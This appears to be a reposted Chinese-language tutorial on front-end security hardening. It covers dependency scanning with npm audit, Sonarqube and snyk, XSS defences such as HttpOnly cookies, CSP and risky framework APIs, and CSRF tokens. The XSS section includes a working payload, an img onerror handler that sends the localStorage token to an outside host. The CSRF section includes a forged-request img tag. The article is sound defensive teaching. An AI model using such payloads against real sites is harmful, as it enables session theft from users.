37

WEB前端安全自查和加固

 3 years ago
source link: https://insights.thoughtworks.cn/web-frontend-security/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

随着开发框架和平台的不断成熟,需要开发者考虑的安全问题越来越少,但并不是开发者就不需要关心项目的安全问题。Linux、Tomcat等大型项目时不时爆出安全漏洞,把网络安全话题重新拉回大众视野。现代前端开发依赖node作为打包、构建和依赖管理平台,最近一次安全问题就是npm仓库中的event-stream包多了一个flatmap-stream依赖,而这个依赖项正在窃取开发者的数字货币。

就前端项目来说,需要考虑的安全问题相对较少,受到攻击后的损失也不及服务器被攻击后那么大,前端主要需要考虑的安全问题有:

npm生态下依赖的安全性。npm 非常年轻,和Java相比包的质量参差不齐,也缺乏良好的审查机制,不过好在npm提供了一些安全工具帮我们审查依赖的安全问题。

XSS跨站脚本攻击。XSS攻击是非常常见的攻击方式,前端开发需要日常注意,我们后面会主要讨论这类攻击。

CSRF跨站请求伪造攻击。CSRF不是非常流行,目前来说容易将此类攻击的破坏性降低到可以接受的程度。

代码自查

开发者和攻击者最大的不同之处在于,开发者完全拥有代码,因此占据了主动权。一般来说攻击者的扫描都只能对线上产品进行,如果开发者在上线之前对代码进行审查和扫描,可以事半功倍。

另外内部的渗透测试也类似于模拟攻击者来进行扫描业界已知漏洞,而代码层面的审查则需要开发团队完成。

npm audit

BVfmaeR.png!web

npm audit tool/npm 安全扫描工具

为了提高npm依赖的安全,npm 6.1 后添加了npm audit工具,这个工具可以搜索当前项目中使用的依赖是否存在安全问题,并提供了npm audit fix工具修复。

它的工作原理是维护了一个已知不良依赖的名单,如果代码中使用了直接从GitHub而不是npm仓库中获取依赖,或不知名的依赖。npm audit也是无法发现威胁。总的来说在加入第三方依赖时,需要谨慎考虑,不滥用依赖在前端开发也是非常重要的。

Sonarqube

rQr6zaJ.png!web

sonarqube dashboard/sonarqube 管理面板

Sonarqube应该是今年业界最为流行的代码审查工具了,Sonarqube使用了和其他开源软件一样,软件开源服务收费的策略。我们可以自己搭建公司内部的代码审查平台,也可以直接使用sonarqube在线的扫描服务。公开服务的Sonarqube,可以直接和GitHub和Bitbucket集成,但是需要提供相应的授权, 因此使用Sonarqube需要提供仓库权限

Sonarqube 中发现威胁只是它的功能之一。它提供了发现 Code Smells、Bugs、Vulnerabilities三大特性,并且支持Java、JavaScript和C#等大量语言。如果我们仅仅需要检查前端项目中代码的安全缺陷,我们可以使用另外更加轻量级能集成到构建脚本中的工具。

snyk

如果不想暴露仓库权限,并且本地扫描,可以使用snyk这类轻量级的扫描工具。其实snyk也提供类似Sonarqube一样的平台,但是也提供了轻量级的本地扫描。

snyk 提供了npm安装,可以参考以下命令,简单的集成到CI中:

  • npm install -g snyk
  • snyk auth
  • snyk test

应对XSS攻击

XSS 攻击通过向页面中注入可以执行的JavaScript代码,因为可以通过JavaScript在已经登陆的用户页面上执行,可以使用已经信任用户的身份来进行攻击甚至盗走用户身份信息。 XSS分为DOM型、反射型、存储型三种攻击类型,反射型和存储型服务器端可以通过过滤输出处理,对前端项目来说主要针对DOM型攻击采取安全措施。

YzIVvuu.gif

XSS Demostration/ XSS 攻击演示

上面这个动图是我假设的一个漏洞,前端代码直接接收外部输入,并添加到页面上。演示攻击者使用了一段代码:

<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">

通过图片触发onerror事件的方式执行一段JavaScript代码片段,再读取LocalStorage中的token,最后通过图片Ping的方式发送到外部网站。这只是一段作为演示用的攻击方式,这种注入XSS的代码叫做 XSS payload,很多强大的payload在网络上传播。下面我们来讨论下在开发过程中如何应对这些攻击。

使用HTTP头启用浏览器安全行为

浏览器有很多内置的安全行为,可以防范XSS攻击,第一步需要做的是在上线时合理配置服务器环境,这是一种性价比很高的方式。使用Nginx或者Apache输入相应头信息不是一件特别难的事,这里有一个checklist,分别说明了一些必要的HTTP头和用途。

6zEJzmy.png!web

checklist

下面演示一个HTTP only的例子,即使XSS攻击成功,也无法盗走token:

5-web-frontend-security-768x400.gif

protect cookie by HTTP Only/HTTP Only 保护 cookie

避免框架中的危险特性

现代前端开发中使用了一般基于常用的框架开发,框架提供了很多安全特性在输入内容到DOM避免了XSS注入,但是如果不当使用,也会有一些风险。框架为了提供更大的灵活性往往允许原生的HTML内容被添加到DOM中并提供了对应API,但基本上也会在文档中说明。

Vue的v-html指令。 Vue的明确提示使用该指令的前提是信任输入内容,但是大量项目使用了此指令,甚至从URL上获取的部分内容。下面图片中的使用方式在项目中很常见,但是如果使用xss payload很容易像上面演示的那样被xss注入攻击。

IvaiYnv.png!web

v-html brings security issue/ v-html属性会引发安全问题

dangerouslySetInnerHTML。React中提供了类似的机制,不过在API的名称上非常醒目,原理上和Vue类似,不再赘述。

另外一种不当使用框架的例子是,读取原生 DOM 并添加内容的行为,这种行为不仅对项目架构造成破坏,带来维护性的困难,而且会存在XSS注入的风险。

启用CSP浏览器安全策略

在银行和金融类项目,对安全要求非常重视。大家都知道的一个例子是银行项目都实现了自己的键盘输入控件,目的是防止操作系统的键盘Hook,这个超出前端开发需要考虑的内容。另外一个方法是启用CSP浏览器内容安全策略,对加载到页面上的内容进一步限制,并且CSP还提供了异常报告的机制。

Mozilla的CSP定义

“内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等”

通俗的来说,CSP就是通过HTTP头部 Content-Security-Policy或者HTML meta标签定义一系列白名单规则,限制页面上脚本的执行和资源的加载来源,例如不允许执行内联代码( <script> 块内容,内联事件,内联样式),禁止执行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) ,达到进一步限制页面脚本的目的。例如:

Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP 策略包括多个指令和指令值组成:

IBFfQjN.png!web

csp指令

zyUzu2A.png!web

CSP 策略

CSP 策略中有一个特别的指令report-uri可以配置页面上违规后的报告,一旦浏览器检测到违规的资源加载,浏览器会发送一个JSON数据包到指定服务器。

应对CSRF攻击

CSRF攻击者在用户已经登陆目标网站后,诱导用户访问一个攻击页面,利用用户已经获取的权限,发起伪造的请求。

举个例子:

假设GitHub提供了一个给仓库加星的接口, htttps://github.com/{repositoryName}/star 而且这个接口使用了GET方法,当然GitHub不会这样做。

这样攻击者就可以在GitHub上Readme文件中中增加一张图片:

<img src="htttps://github.com/{repositoryName}/star" />

当用户浏览到这个仓库的时候就会给该仓库增加一个星。

因此业界通常的做法是 避免使用GET操作对数据资源的修改,使用POST时增加一个一次性的token

如果Spring boot中使用Spring security,会有默认的 CsrfFilter,只需要注册CsrfFilter即可启用CSRF机制。客户端对相同的Restful资源发出POST请求之前需要首先从GET方法得到一个一次性的token,否则会得到一个403错误。

其他

实际项目中我们还有其他的一些安全措施:

例如加密代码中的密码等敏感信息,加密本身对前端来说意义不大,但是可以增加攻击者反向分析代码的难度,屏蔽代码中可以直接搜索到的关键字,例如Login、Password等字符串。

另外也要防止程序报错后意外暴露一些信息给用户,面对各种各样的异常,用户不可能主动也没有能力报告错误,我们可以通过使用 sentry.io 之类的一些工具收集控制台报错信息 。

最后这个世界上没有绝对的安全,即使CSP这类极其严格的策略都有可能被绕过,前端开发中安全也需要考虑成本,应该选用性价比高的安全策略。安全也不是独立的,应该和服务器、甚至操作系统层面联合考虑,例如后端提供的资源应该是通过ID不可枚举的,上传文件的时候也应该嗅探内容和MIME信息决定文件类型。

参考链接:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK